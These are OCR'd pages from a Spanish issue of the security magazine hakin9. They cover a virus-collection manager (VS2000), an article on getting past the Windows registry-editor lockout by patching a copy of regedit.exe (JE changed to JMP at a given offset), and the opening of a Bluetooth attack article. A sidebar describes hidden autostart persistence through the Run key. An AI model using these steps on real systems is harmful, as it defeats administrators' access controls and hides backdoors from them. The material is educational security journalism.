archivo BAT para que nos haga esa tarea, en lugar de que VS2000 nos la haga. List of extensions: Pues como se indica, no crea una lista de todas las extensiones de los archivos que hay en cierto directorio, pero eso si, todas distintas, si encuentra una extensión que ya esta en la lista, no la vuelve a poner. Find 0 bytes files: Busca archivos de 0 bytes, archivos que aparentemente son normales, pero que no contienen nada. Delete empty directories: Nos busca directorios vacíos y los elimina.

Weed Files

Manage Files

Desde esta pestaña se podrán realizar todas las opciones relacionadas con los archivos de nuestra colección. A continuación vamos a comentar todas las opciones de esta pestaña: • Manage Files: En esta opción encontraremos algunas posibilidades, desde mover archivos, definir un directorio de destino o desactivar la extracción de ficheros comprimidos. Delete Files: Permite borrar archivos a partir de un log. Una gran utilidad de eso es la posibilidad de borrar nuestros virus duplicados mediante el log realizado con la aplicación comentada en Process with logs. Real Duplicate Remover : Realiza una comparación entre un log de F-Prot y AVP (Kaspersky) para comprobar cuales están realmente duplicados. Pack Request: Nos hace un archivo zip con los virus que otro trader nos ha pedido, lógicamente nos lo realiza mediante el log que el otro trader nos envíe con el pedido de virus que el nos realice. Extensión Renamer: Nos renombra las extensiones a sus extensiones reales, por ej. si tenemos un archivo *.XXX y su extensión real es *.EXE, VS2000 detecta eso y nos pone la extensión real, las extensiones desconocidas pasarán a ser *.VIR, una extensión neutra. A la vez dispone de la posibilidad de hacer un

Se trata de algo parecido a la pestaña Virus Databases pero en lugar de utilizar archivos logs, utiliza archivos crc32 o md5. CRC32 en español seria Código de Redundancia Cíclica y se utiliza principalmente para detectar y corregir errores en archivos. CRC32 realiza un cálculo de los archivos mediante cierto algoritmo, y le da un nombre, por lo tanto, no existen dos archivos iguales con distinto nombre de CRC32. El caso de MD5 sería similar. Esto es de gran utilidad para evitar tener virus duplicados. Como podréis ver, dentro de VS2000 existen muchísimas aplicaciones para conseguir tener una colección lo más depurada posible. Las opciones que podemos encontrar en esta pestaña son: Create database, Add files hot database, Check for duplicated files y Create log with new files. En este apartado no nos pararemos mucho, puesto que las opciones son similares a las comentadas anteriormente,

Figura 2 Manage Files

Figura 3. Weed Files

www.hakin9.org

13

Herramientas

solo cambia el modo de operar, que puede ser desde un log, o como en ese caso, desde un archivo CRC32 o MD5.

Fake/Goat Scanner

Como va siendo normal, otra aplicación para depurar nuestra Herramientas colección. Es muy importante mantener nuestra colección libre de fakes o basura y para ello esta herramienta es la apropiada. Además, su autor va actualizando la base de datos de fakes, para así no tener problemas a la hora de eliminarlos. Entre las opciones que encontraremos están la de escasear fakes en archivos, desde un log, escasear basura desde archivos o desde un log al igual que con los fakes. En este apartado tampoco nos detendremos mucho puesto que es sumamente sencillo. •

Collection Maker Style: C:\VIRUS\J\ Jerusalem.1808.a\A456725F.COM: Se basa en KAV para nombrar y organizar los archivos. Create Directories: C:\VIRUS\AVP\J\Jerusalem\ 1808\a\0456ADEF.COM: Muy parecido al anterior, pero de una forma mucho mas esquematizada. Virus Name: C:\VIRUS\J\Jerusalem.1808.a.COM: Basado en el nombre de los virus y ordenado en carpetas del 0-1 y A-Z. Virus Types: C:\VIRUS\Win32\2FA67211.EXE: Se basa en el tipo de virus para realizar la organización.

Virus Explorer

Nos muestra una lista con el nombre, según KAV y FProt, de todos los virus de nuestra colección y al lado la dirección donde se encuentran. Realmente solo hace eso, así que pasemos a la siguiente pestaña.

Virus Organizer

Sin duda una de las herramientas mas importantes, ¿Qué sería de una colección desorganizada? Desde aquí podemos organizar nuestra colección a partir de un log. Podemos elegir entre 5 tipos distintos de organización, además de tener la posibilidad de comprimir los archivos, mover archivos, o en su defecto copiarlos. Los tipos de organización son los siguientes: • Bulk Style: C:\VIRUS\0\04\04ABC903.EXE: Usa CRC32 o MD5 para nombrar los archivos.

Stats

Figura 4. Estadísticas de la colección

Desde aquí (Figura 4) podremos observar, de forma gráfica y para cada una de las bases de datos de cada logs, las estadísticas de nuestra colección. Podremos saber el número de virus totales y únicos que poseemos así como el porcentaje de virus y de warning, generics, que poseemos. Vamos a hacer algunas aclaraciones sobre esto. A lo de virus únicos y totales, veréis, hay veces en las que un archivo contiene un único virus, pero en otras ocasiones un solo archivo, puede contener varios virus, un ej. puede ser un archivo *.txt donde poseamos los códigos fuente de varios virus, otro puede ser un archivo *.exe resultado de unir dos virus mediante un joinner, por lo tanto, virus totales serían el total, y virus únicos serían aquellos en los cuales un solo archivo contiene un único virus. A lo de warning o generics veréis, normalmente KAV detecta los virus como Infected:, pero en otras ocasiones hace una llamada a un virus mediante Warnings o advertencias, eso quiere decir que probablemente ese archivo sea el virus X, pero no con exactitud. Al igual RAV, NOD o F-Prot tienen sus peculiaridades a la hora de detectar virus, y son recogidas de forma gráfica en esta pestaña. Bueno, pues aquí acaba la explicación de esta magnifica herramienta, aunque VS2000 esconde muchas más utilidades, como puede ser la de un servidor FTP, es un scan de puertos, contiene una librería donde encontrar información sobre todas las e-zines de información vírica, información sobre Constructor kits o laboratorios de virus e información sobre otras utilidades víricas, permite tener nuestra propia base de datos sobre traders, y un sin fin de utilidades más. The BlooD theblood@gmail.com

Figura 5. Página oficial de Virus Trading Center

14

www.hakin9.org

Registro de Windows
Ataque
Víctor López Juárez

Grado de dificultad

Albert Einstein una vez dijo: La formulación de un problema es más importante que su solución. Un administrador de equipo como fundamento de seguridad prefiere denegar el acceso al Editor del Registro a todo usuario que no forme parte de su grupo.

S

in embargo haciendo uso de ésta restricción de acceso brindada por Windows no considera las consecuencias prácticas que puede llegar a obtener un atacante si elude dicha restricción. Primero explicaremos qué es el Registro de Windows: el registro está conformado por una serie de archivos, anteriormente en las versiones de Windows 3.x el registro se guardaba en archivos con extensión .ini, más tarde en las ediciones Windows 9x el registro de Windows se denominaba User.dat y System.dat mientras que en Windows Me estaba conformado por Classes.dat, User.dat y System.dat. En Windows XP para localizar los archivos que conforman el Registro debemos acceder a la siguiente ruta dentro del disco local, en que fue instalado el sistema, comúnmente en C: \Windows\System32\Config, dentro de ésta carpeta encontraremos varios archivos que corresponden a nuestro registro, también llamados Hives No todos los archivos que componen el registro de Windows están ubicados dentro de esta carpeta, también existen Hives o claves que contienen subclaves y valores ubicados en las carpetas de cada usuario las cuales guardan

las configuraciones personales de cada cuenta, como por ejemplo el archivo ntuser.dat que corresponde a la clave HKey _Current_User.

Abriendo el Registro

Intentaremos abrir el registro de Windows, en esta ocasión lo haremos ingresando a la clave HKEY_LOCAL_MACHINE\Software desde su ubicación en C:\Windows\System32\Config\ Software. Podemos percatarnos que el archivo Software no tiene extensión, lo que nos indica

En este artículo aprenderás...
• • • Qué es el Registro de Windows y su editor, Cómo implementar seguridad sobre el registro de Windows, Cómo atacar el Editor del Registro de Windows.

Lo que deberías saber...
• • Bases de programación en lenguaje ensamblador, Poseer conocimientos básicos sobre administración de sistemas Windows.

16

www.hakin9.org

Registro de Windows

que carece de un programa asociado por medio del cual se pueda ejecutar, para solucionarlo hacemos doble click sobre el archivo, escogemos la opción Seleccionar el programa de una lista y por ultimo optamos por WordPad, como resultado veremos lo siguiente (Figura 1). Es evidente que la aplicación WordPad no es la adecuada para manipular el registro, para ello Windows creó el Editor del Registro (Regedit.exe) mediante el cual es posible acceder al registro y modificarlo bajo un entorno dinámico y jerárquico muy parecido al propio Explorador de Windows. Aunque el Editor del Registro permite inspeccionar y modificar el Registro, normalmente no necesitaremos hacerlo. Microsoft no garantiza solucionar los problemas resultantes por el uso incorrecto del Editor del Registro, así que utilizaremos esta herramienta bajo nuestra responsabilidad.

Tabla 1. Claves de configuración personal Sección del Registro HKEY_LOCAL_MACHINE\SAM HKEY_LOCAL_MACHINE\ Security HKEY_LOCAL_MACHINE\ Software HKEY_LOCAL_MACHINE\ System HKEY_CURRENT_CONFIG Archivos en C:\Windows\System32\ Config Sam, Sam.log, Sam.sav Security, Security.log, Security.sav Software, Software.log, Software.sav System, System.alt, System.log, System.sav System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log Default, Default.log, Default.sav usuario que logre acceder al editor del registro puede llevarse consigo bastante información relevante sobre las características de nuestro sistema. La idea de que si accedemos a otro sistema y copiamos el Editor del Registro de Windows ubicado en C: \Windows y lo trasladamos al nuestro obtenemos el contenido del Registro de Windows, es equivocada. Cuando ejecutemos el Regedit.exe que trajimos del otro sistema accederemos inmediatamente a nuestro Registro. Debemos recordar que el Editor del Registro es simplemente una herramienta que permite realizar modificaciones en el Registro de Windows, llevando el Editor (Regedit.exe) de un ordenador a otro únicamente estaremos trasladando dicha herramienta y no el contenido del registro de Windows de cada sistema, como podría pensarse. Ahora bien si entramos en un sistema como usuario restringido y conseguimos acceder al Editor del Registro (aquí lo aprenderás incluso si el administrador del equipo es precavido y previamente denegó el acceso al Editor) fácilmente podremos exportar todo el contenido del registro de Windows y llevarlo a nuestro sistema para examinarlo detenidamente. Para lograrlo, simplemente debemos estar dentro del Editor, dirigirnos al menú Archivo > Exportar. Luego en el recuadro llamado Intervalo de Exportación en lugar de seleccionar la opción predeterminada escogemos Todos, finalmente asignarle un nombre al archivo y guardarlo.

HKEY_USERS\DEFAULT

El Editor del Registro (Regedit.exe)

Los administradores del sistema pueden modificar el Registro a través del Editor del Registro (Regedit.exe o Regedt32.exe), directivas de grupo, directivas del sistema, archivos de Registro (.reg) o mediante la ejecución de secuencias de comandos (por ejemplo, archivos de comandos de Visual Basic o archivo de lotes .bat). El Editor del Registro esta ubicado en el directorio del sistema C: \Windows\Regedit.exe, al abrirlo encontraremos un área de exploración organizada en carpetas, cada carpeta representa una clave predeterminada del equipo local, cuando

se obtiene acceso al Registro de un equipo remoto, sólo aparecen dos claves predefinidas: HKey _Users y HKey _Local_Machine. A continuación veremos las claves predefinidas utilizadas por el sistema (Tabla 2). Estas claves o también llamadas Hives se inician juntamente con el sistema operativo, el cual utiliza constantemente el registro de Windows, esto parece ser lógico tomando en cuenta que éste debe mantenerse actualizado por los cambios dinámicos que pueden surgir al momento de utilizar el sistema, por ejemplo si deseamos renombrar el icono llamado Mi PC por Hakin9, basta por renombrarlo una vez y en los próximos inicios de sesión el icono ya aparecerá renombrado sin necesidad de guardar los cambios en el sistema, pues el registro lo hace por nosotros. Tomando en cuenta el grado de importancia que adquiere el registro de Windows para el sistema operativo puede ser blanco de ataques o de backups enteros sin autorización, el

¿Qué es el Registro de Windows?

El Registro de Windows conforme el Microsoft Computer Dictionary es definido de la siguiente manera: Una base de datos jerárquica central utilizada en Microsoft Windows 9x, Ce y NT con el fin de almacenar información necesaria para configurar el sistema para uno o varios usuarios, aplicaciones y dispositivos de hardware. El Registro contiene información que Windows utiliza como referencia continuamente, por ejemplo los perfiles de los usuarios, las aplicaciones instaladas en el equipo y los tipos de documentos que cada aplicación puede crear, las configuraciones de las hojas de propiedades para carpetas y los iconos de aplicaciones, los elementos de hardware que hay en el sistema y los puertos que se están utilizando.

www.hakin9.org

17

Ataque

Tabla 2. Las claves utilizadas por el sistema
Carpeta o clave predefinida HKEY_CURRENT_USER Descripción Contiene la raíz de la información de configuración del usuario que ha iniciado la sesión. Aquí se almacenan las carpetas de usuario, los colores de pantalla y la configuración del Panel de control. Esta información se conoce como perfil de usuario. Contiene la raíz de todos los perfiles de usuario del equipo. HKEY_CURRENT_USER es una subclave de HKEY_USERS. Contiene información de configuración específica del equipo (para cualquier usuario). Es una subclave de HKEY_LOCAL_MACHINE\ Software. Aquí se almacena la información que asegura que se abre el programa correcto al abrir un archivo con el Explorador de Windows. Contiene información acerca del perfil de hardware que utiliza el equipo local al iniciar el sistema.

HKEY_USERS

HKEY_LOCAL_ MACHINE HKEY_CLASSES_ROOT

Figura 2. Cómo obtener un permiso de escritura, parte 2

HKEY_CURRENT_CONFIG

Restringiendo el acceso y escritura sobre el registro de Windows

Una de las características de seguridad importantes en la serie Windows NT permite que el administrador del sistema pueda conceder – o no – el acceso a las claves del registro a través del editor del registro (Regedit.exe). Los permisos de escritura sobre el registro comprometen al sistema operativo de tal manera que en muchas ocasiones son imprescindibles estos permisos para realizar ataques contra el sistema. Por ello es importante también conocer prácticas de seguridades fáciles y eficaces, capaces de implementar en nuestros sistemas. Dentro del editor del Registro la administración de seguridad sobre las claves y subclaves es relativamente sencilla, solo basta con elegir

la clave que deseamos configurar, click derecho y seleccionar la opción Permisos. (Figura 2 y 3). De esta manera cualquier administrador del sistema puede otorgar permisos de escritura, agregar usuarios o grupos a la lista de permisos, asignar permisos a una clave, conceder control total a una clave, asignar accesos especiales, auditar la actividad de una clave, agregar usuarios o grupos a la lista de auditoría, tomar posesión de una clave, establecer controles de lectura, etc.

Figura 3. Cómo obtener un permiso de escritura, parte 1
ya sea con buenas o malas intenciones. Para lograrlo debemos localizar la siguiente clave desde el editor del registro HKEY_CURRENT_USER/ Sof t ware / Microsof t / Windows / CurrentVersion/Policies/System en la ventana de la derecha creamos un nuevo valor DWord llamado DisableRegistryTools, damos doble click sobre él y le colocamos el valor 1. De esta manera la modificación del registro de Windows quedará deshabilitada para el usuario actual. Al intentar abrir el editor del registro veremos lo que aparece en la Figura 4. Esta es una manera de bloquear el acceso al registro, aunque no es la única, otra forma de lograrlo es

¡Nadie me toca el registro!

Como una opción de seguridad más, el administrador puede restringir el acceso al editor del registro a los usuarios que no forman parte del grupo de administradores del equipo, con la finalidad de impedir que cualquier usuario altere el sistema

Figura 1. Word Pad no es una buena aplicación para abrir un registro

18

www.hakin9.org

Registro de Windows

eliminando el propio Editor del Registro (Regedit.exe) de la carpeta de su ubicación C:\Windows, así el usuario que acceda al sistema y carezca de privilegios difícilmente podrá editar el registro al no encontrar la herramienta destinada para ello. Aunque pueda parecer lo contrario, la eliminación del regedit.exe no llevará al colapso del sistema, ya que no se elimina el registro de Windows (el cual está mayormente constituido por los archivos ubicados en C:\Windows\system32\ config) sino que únicamente prescindimos de la herramienta que lo edita. Aun si deliberadamente intentamos borrar los archivos que constituyen el registro de Windows ubicados en C:\Windows\system32\config, el sistema operativo lo impediría dada la importancia de los mismos.

Consecuencias de la escritura sobre el registro

La escritura sobre el registro de Windows permite gestionar y personalizar el sistema operativo sin ningún problema, de hecho es una posibilidad exclusiva dada a los administradores del sistema, la cual puede ser también otorgada a los usuarios invitados. Otra posibilidad simple que genera la escritura sobre el registro, es la capacidad para instalar programas. Cualquier programa al instalarse usualmente crea, modifica o elimina claves y subclaves dentro del registro de Windows, durante ese proceso de instalación también comprueba ciertos valores en el registro (ese es el punto débil que atacaremos más adelante) dependiendo de esos valores y ciertas

Ejemplo Práctico

En este ejemplo colocaremos la palabra Hakin9 en el menú contextual de los archivos con extensión txt, de tal manera que si escogemos la opción Hakin9 se abrirá el archivo en el programa Notepad.exe tal y como sucede comúnmente. Para lograrlo, dentro del editor del registro localizamos la siguiente clave Hkey _ Local_Machine\Software\Classes\textfile\shell\open. En la ventana de la derecha ya existe un valor alfanumérico llamado Predeterminado, hacemos doble click sobre él y lo nombramos Hakin9 Ahora cuando hagamos click derecho sobre los archivos *.txt en lugar de ver la opción convencional llamada Abrir veremos Hakin9 (Figura 5). Este es un claro ejemplo de cómo es posible personalizar la configuración de usuario, a través de la escritura sobre el registro de Windows.

características de seguridad el aplicativo podrá ser instalado. El usuario que carece de privilegios no podrá instalar correctamente aplicaciones. De modo que a través de las consecuencias prácticas que conseguimos al editar el registro de Windows mediante el regedit.exe obtenemos mayores logros que si nos limitáramos a personalizar el sistema operativo a través de las pocas opciones que éste nos brinda. Sin embargo, siempre es recomendable conocer el área del registro que deseamos modificar, porque los cambios incorrectos pueden dañar el sistema. Desde el punto de vista de un atacante, poseer permisos de escritura sobre el registro le otorgan ciertas ventajas, como por ejemplo instalar troyanos o servidores maliciosos y dejarlos a la escucha de cualquier puerto o ejecutarlos en segundo plano cada vez que arranque el sistema, inclusive si el administrador inicia el sistema en modo a prueba de fallos un troyano dependiendo de la clave del registro en la que fue asociado, se ejecutará de modo invisible. Si poseemos permisos de escritura sobre el registro de Windows podemos realizar un sin número de acciones que terminarán alterando el sistema operativo, estás acciones dentro del registro pueden ser desde las más básicas hasta las más peligrosas capaces de poner en peligro la seguridad del sistema.

Crackeando el registro como usuario sin privilegios

Figura 4. El acceso al registro bloqueado

Figura 5. Cómo personalizar las configuraciones del usuario

Las restricciones de seguridad del registro de Windows son escasamente eficientes. El punto débil que nos permite explotar la siguiente vulnerabilidad y acceder al editor del registro, es el propio sistema de protección utilizado por los desarrolladores de Windows, en particular la opción a través de la cual es deshabilitado el acceso al editor del registro (Figura 4) es una práctica poco recomendada por los desarrolladores de software comercial, dada su relativa facilidad para ser vulnerada por los atacantes.

www.hakin9.org

19

Ataque

Cuando se accede a un sistema como usuario invitado de manera predeterminada carecemos de permisos para escribir sobre el registro, a menos que el administrador haya decidido lo contrario. Las causas principales por las que un administrador de equipo decide deshabilitar el acceso al editor del registro y consecuentemente la escritura sobre éste, son impulsadas mayormente por razones de seguridad, las cuales le brindan una ventaja al propio sistema, ya que se adquiere un mayor grado de confianza en relación a su uso. Es por ello que para explotar la vulnerabilidad a la que puede estar expuesto el editor del registro a través de la restricción de acceso, debemos ingresar a un sistema Windows XP en calidad de usuario restringido, es decir sin permisos de acceso y escritura en el registro de Windows. Antes de empezar debemos verificar que el acceso al editor del registro ha sido deshabilitado por el administrador (Figura 4). Ahora debemos crear una carpeta en el directorio C:\ llamada Hakin9, luego copiamos el regedit.exe de la carpeta del sistema (C:\Windows) y lo pegamos en la siguiente ubicación C:\hakin9. Esta copia que recién acabamos de crear nos brinda seguridad, debemos tomar en cuenta que siempre es recomendable trabajar sobre una copia del programa y no sobre el original, dadas las equivocaciones en

que podríamos incurrir al momento de modificar el código del programa.

Atacando el Registro de Windows ¡Vamos a la Práctica!

Cuando un programador decide crear cualquier aplicación tiene la opción de hacerlo a través de diferentes lenguajes de programación, ya sea alto, mediano o bajo nivel, la categoría del nivel de programación depende de los recursos del sistema que utiliza el lenguaje y el programador para realizar la aplicación. Cuando finaliza el proceso de creación de una aplicación, se compila (convierte a unos y ceros) y se genera un archivo ejecutable de extensión .exe, los cuales a su vez pueden ser traducidos a un lenguaje de programación de bajo nivel, como por ejemplo lenguaje ensamblador, independientemente del lenguaje de programación original con que hayan sido creados. Sin embargo, existen aplicaciones que son empaquetadas (como sistema de protección) con el motivo de evitar que sean traducidas a lenguaje ensamblador, en otros casos la conversión al lenguaje ensamblador de un programa del cual no somos propietarios es ilegal. Si abrimos alguna aplicación exitosamente para debugearla en lenguaje ensamblador y manejamos conocimientos de este lenguaje, podremos modificar el código del

programa a nuestro favor, en este caso abriremos el editor del registro y eliminaremos la protección que nos impide su acceso, de esa manera tendremos a nuestra disposición el registro de Windows. Una utilidad que nos permite abrir un programa y explorar su código en lenguaje ensamblador es W32dasm, este programa no necesita instalación así que como usuario restringido no tendremos ningún problema en abrirlo, dentro de W32Dasm nos dirigimos al menú Disassembler y seleccionamos la opción Open File to Disassemble y abrimos nuestra copia del Editor del Registro desde C:\hakin9\regedit.exe, W32Dasm comenzará a desensamblarlo y al terminar veremos el código en lenguaje ensamblador. De esta manera podemos percatarnos como aún con el bloqueo

Acceder como un usuario restringido

Si prefieres acceder como usuario restringido desde tu ordenador lo puedes hacer ingresando desde la cuenta de Invitado. Para activarla debes ir a Inicio>Panel de Control> Cuentas de Usuario> Invitado> Activar la cuenta de Invitado.

Registros del procesador

El procesador necesita de ayuda al momento de realizar sus tareas, como por ejemplo ejecutar programas, los registros lo ayudan precisamente en eso. Cuando el procesador necesita sumar posiciones de memoria las dirige a un registro para realizar operaciones, éstos a su vez varían dependiendo de las funciones específicas que fueron destinados a realizar.

OFFSET

Figura 6. La Ventana List Of String Data Items

Un offset sirve para designar inequívocamente una dirección de memoria conjuntamente con un segmento en algunas arquitecturas de microprocesadores.

20

www.hakin9.org

Registro de Windows

de acceso al regedit.exe es posible desensamblarlo sin inconvenientes. Una vez abierto el editor del registro en W32Dasm podemos observar tres columnas diferenciadas, la primera representa la dirección de memoria en la que está la instrucción, la segunda columna contiene el código de la instrucción en sistema numérico hexadecimal, cuya base es 16, mientras que la tercera columna contiene el código en lenguaje ensamblador, el que modificaremos para evadir la protección. Ahora nos disponemos a buscar la cadena de texto que aparece dentro del mensaje que nos advierte sobre la restricción: El administrador ha deshabilitado la modificación del registro (Figura 4). Mediante W32Dasm podemos observar las cadenas de texto de un programa y las referencias a dichas cadenas. Si el editor del registro necesita hacer uso de una cadena de texto, no es necesario crear la cadena todas las veces que la vaya usar, sino que simplemente se hace referencia a la dirección de memoria donde se encuentra.

Figura 7. Los datos de Offset necesarios Es por ello que la cadena de texto que buscamos puede estar referenciada varias veces dentro del regedit.exe. Una vez identifiquemos la cadena de texto a buscar El administrador ha deshabilitado la modificación del registro, averiguaremos sus referencias. Para ello, teniendo abierto el Editor del Registro desde W32Dasm nos dirigimos al menú Refs, luego seleccionamos la opción String Data Referentes, para encontrar las cadenas de texto. Al borde inferior de la ventana List of String Data Items vemos la cadena de texto que estábamos buscando (Figura 6). Damos doble click una sola vez sobre la cadena de texto (en algunos casos deberíamos dar más de un doble click sobre esta cadena, hasta encontrar el salto condicional correcto), presionamos el botón Close y W32Dasm nos llevará a la esta dirección de memoria 01008AB4. Si continuamos haciendo doble click sobre la cadena de texto el programa nos llevará hacia otras direcciones de memoria, tantas veces como existan referencias a la cadena. Si nos dirigimos cuatro líneas arriba de la dirección 01008AB4 veremos dos instrucciones importantes marcadas de color azul, la primera test eax, eax, realiza una comprobación de estos registros, y emite un resultado booleano, es decir verdadero o falso, dependiendo de la comprobación resultante de los registros. Seguidamente vemos la instrucción je 01008ACA (Jump if is Equal) es un salto condicional que comprueba el resultado del test, si el resultado del test es igual, je salta hacia 01008ACA, de lo contrario el programa continua con el resto del código inferior a je. Lo que haremos

Ejemplo Práctico

Una ejemplo simple orientado al hakin9 (haking) que podemos realizar fácilmente basados en lo aprendido en esta práctica, es abrir puertos cada vez que arranca el sistema sin que el administrador del equipo se de por enterado. Para lograrlo abrimos el editor del registro y localizamos la siguiente clave
HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run

En la ventana de la derecha creamos un nuevo valor Alfanumérico llamado Server (o como prefieras), damos un doble click sobre él y escribimos la ruta de la aplicaciónservidor que deseamos dejar a la escucha. De esa manera cada vez que el usuario inicie sesión lo hará también esa aplicación, más tarde podrás ejecutar el programacliente desde cualquier ubicación para establecer conexión.

¿Problemas?

En caso de que no puedas acceder correctamente al editor del registro de Windows, deberás revisar los pasos nuevamente, los errores que probablemente te impidan realizar esta práctica pudieron surgir por diversos motivos relativamente simples, probablemente la versión del registro de Windows que utilices sea diferente, (en este caso usamos la de Windows Xp Profesional) o equivocaste el salto condicional o no encuentras el offset correcto. En esos casos debes abrir la copia del regedit.exe desde W32Dasm ir al menú Refs, y el la ventana donde aparece la cadena de texto El administrador ha deshabilitado la modificación del registro, dar doble click mas de una vez sobre ésta y repetir el proceso desde ese punto en adelante hasta encontrar el salto condicional correcto, posteriormente es probable que tengas un offset distinto al de nuestra practica, pero en el editor hexadecimal solo debes verificar que el offset te dirija al 74 para modificarlo por EB.

www.hakin9.org

21

Ataque

Figura 8. Una pantalla de Win Hex – usuario restringido para evadir la protección que nos restringe el acceso al editor del registro es cambiar ese salto condicional JE por un salto incondicional JMP, de esta manera el regedit.exe al llegar a esa parte del código compara los registros y salta en todas las ocasiones, independientemente del resultado del test de los registros. Nos dirigimos hacia el salto condicional y hacemos doble click sobre él, vemos como se pinta una línea de color verde, seguidamente tomamos nota del offset que aparece abajo en la barra de estado @offset 00007EAEh in File: regedit.exe, la h al final indica que dicha cantidad esta representada en sistema hexadecimal. Por último anotamos por aparte el Offset ya que lo necesitaremos más adelante. Dentro de W32Dasm no es posible modificar de manera directa el código, desde cierto de punto de vista es ventajoso porque nos impide cometer errores al momento de alterarlo, por ejemplo si deseamos cambiar un salto incondicional de 2 bytes no debemos hacerlo por uno de 5 bytes por la instrucción CALL por ejemplo, sino por otro de la misma longitud. En este caso cambiaremos el je por jmp, es decir el 741A (la dirección que vemos en la segunda columna (Figura 7) por EB1A. Debemos acudir a otra herramienta para realizar las modificaciones necesarias en el código del regedit.exe. Un editor Hexadecimal, en este caso usaremos el WinHex, este editor no precisa de instalación por lo que como usuario restringido no tendremos ningún problema en abrirlo. Seguidamente nos dirigimos al menú File > Open > C:\hakin9\ regedit.exe (Figura 8). Ahora tenemos a nuestra disposición el código del editor del registro de Windows en formato numérico hexadecimal. Una vez abierto, desde la posición inicial nos dirigimos al menú Position > Go to Offset… y en la opción New position colocamos el offset que obtuvimos en W32Dasm 00007EAE, finalmente presionamos OK. El editor hexadecimal nos dirigirá al offset que buscábamos, el cual contiene el salto condicional, (debemos estar seguros de aparecer en 74 1A), media vez hayamos encontrado el offset correcto colocamos el puntero en el 7 y lo modificamos tecleando EB, luego veremos como cambia a color azul. Finalmente solo resta guardar los cambios dirigiéndonos al menú File > Save > Yes. Y eso es todo amigos.

la restricción de acceso al editor del registro y evadirla simplemente ejecutando nuestra querida copia. Las consecuencias prácticas que obtenemos derivadas del acceso al editor del registro de Windows a través de esta práctica nos permiten tener la habilidad para modificar ciertos aspectos del sistema operativo, tales como la apariencia, accesibilidad, los colores, temas, el escritorio, teclado, mouse, sonido, protector de pantalla, configuración de la shell del sistema, información sobre el usuario actual, programas instalados, archivos temporales, información de la sesión de usuario, manejo sobre las aplicaciones que se inician al cargar el sistema, etc, etc.

Contramedidas

Implementar software específico que audite el registro de Windows de manera permanente evitando cualquier tipo de modificación sobre éste, de manera que deniegue los cambios realizados por cualquier usuario. Si establecemos este tipo de seguridad dentro del sistema y prevenimos su correcta funcionalidad, no será necesario hacer cambios en el registro de Windows de manera no prevista. Espero haberlos alertado sobre la relativa facilidad que puede tener un atacante para evadir la restricción de acceso al registro de Windows, cuando el administrador de equipo hace uso de las medidas de seguridad predeterminadas que nos ofrece Windows. l

Sobre el Autor

¡Misión Completa!

Solo basta comprobar que es posible acceder al registro de Windows ejecutando el regedit.exe desde C: \hakin9. Si ejecutamos el regedit.exe ubicado en C:\Windows aún veremos la restricción que nos impide acceder a él, la restricción continua porque las modificaciones únicamente han sido hechas a nuestra copia ubicada en C: \hakin9\regedit.exe, la que podremos trasladar a cualquier sistema operativo Windows Xp que tenga habilitada

Víctor López Juárez es estudiante de la Universidad Rafael Landivar de Guatemala. Está interesado en los diversos temas sobre seguridad informática, actualmente es miembro de la Comunidad de Desarrolladores de código seguro de Microsoft, profesional certificado por parte de la empresa Intel Inside en temas como Web Services, Software Libre y Seguridad, y ex-integrante de la Academia Latinoamericana de Seguridad Informática. Durante sus tiempos libres participa en foros y comunidades de hackers, también desarrolla y diseña sitios Web.

22

www.hakin9.org

¿Quieres recibir tu revista regularmente? ¿Quieres pagar menos?

¡Pide suscripción!
por suscripción es más barata:
www.hakin9.org/es www.buyitpress.com

Pedido

69 €

Por favor, rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o., Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl Para conocer todos los productos de Software-Wydawnictwo Sp. z o. o. visita www.buyitpress.com Nombre(s) ......................................................................................... Apellido(s)........................................................................................ Dirección ......................................................................................................................................................................................................... C. P. ................................................................................................... Teléfono ............................................................................................ Población, provincia ........................................................................ Fax ....................................................................................................

E-mail ................................................................................................ Suscripción a partir del N° ..............................................................

Precio de suscripción anual Absender-Daten69 € de hakin9:
Realizo el pago con: □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO

CVC Code

Válida hasta □ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876
código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:

Bluetooth – La Amenaza Azul
Ataque
Ezequiel Martín Sallis

Grado de dificultad

El Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetooth-SIG (Special Interest Group). La tecnología Bluetooth permite la comunicación inalámbrica, entre diferentes dispositivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tecnología infrarroja.

E

l Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetooth-SIG (Special Interest Group), es una tecnología inalámbrica de bajo coste, que opera en la banda no licenciada de 2.4Ghz de frecuencia (la misma banda que utilizan algunos estándares de la tecnología 802.11). Básicamente posee cuatro canales, tres canales sincrónicos de voz (64 Kbps por canal) y un canal de datos asincrónicos. La velocidad de transmisión de los canales asincrónicos es de 723,2 Kbps mientras que la del canal asincrónico es de 433,9 Kbps. Existen hoy en día tres versiones de Bluetooth: • • • Bluetooth Protocolo V1.1 No provee compatibilidad para coexistir con 802.11, Bluetooth Protocolo V1.2 (2003) Data Rate 1Mbps, Bluetooth Protocolo V2.0 +EDR (Enhanced Data Rate) (2004) Data Rate 3Mbps.

consumo de los equipos y que además permite ser incorporada en los teléfonos móviles y las PDA sin que afecte en exceso al consumo de sus baterías. La tecnología Bluetooth permite la comunicación inalámbrica, entre diferentes dispositivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tecnología infrarroja. Sin embargo, la frecuencia en la que opera (2.4 Ghz banda no licenciada),

En este artículo aprenderás...
• • • • • • Qué es Bluetooth, Cómo funciona esta Tecnología, Cuáles son sus aplicaciones más habituales, Cuáles son los riesgos, Cuáles son los ataques mas comunes, Algunas herramientas disponibles.

Lo que deberías saber...
• • Nociones Básicas de Comunicaciones Inalámbricas, Nociones Básicas sobre la tecnología Bluetooth.

Uno de los hechos que hacen que esta tecnología sea de bajo coste, es la potencia necesaria para funcionar, tan sólo 0,1 vatios, que sin duda alguna reduce considerablemente el

24

www.hakin9.org

Bluetooth – La Amenaza Azul

